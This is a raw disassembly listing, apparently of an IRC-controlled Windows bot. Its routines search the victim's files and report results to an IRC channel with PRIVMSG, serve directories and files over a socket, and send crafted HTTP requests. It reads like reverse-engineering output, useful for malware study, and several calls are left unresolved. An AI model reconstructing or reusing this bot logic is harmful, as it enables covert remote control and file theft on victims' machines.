		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4D0874
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4D08BC
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_42ED6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42F340 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2680E9Ah
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_439398 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4D08BC
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 270087Fh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2750000h
		nop
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 26608ABh
		nop

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_439364
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_443764[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_443774[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2680000h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4D08BC
		nop
		call	near ptr 268086Bh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42F340 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25D0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 2760541h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2760000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_42ED6C
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	near ptr 2680000h
		nop

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2770000h
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 27503C6h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 270087Fh
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	near ptr 2750000h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:0043D320o
					; ___:0043D334o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4D07B8
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 26608ABh

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4D0794
		push	6
		push	1
		push	2
		call	dword_4D08A4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4D0824
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_4429D8

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4D0874
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4D083C
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4D08BC
		call	dword_4D077C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
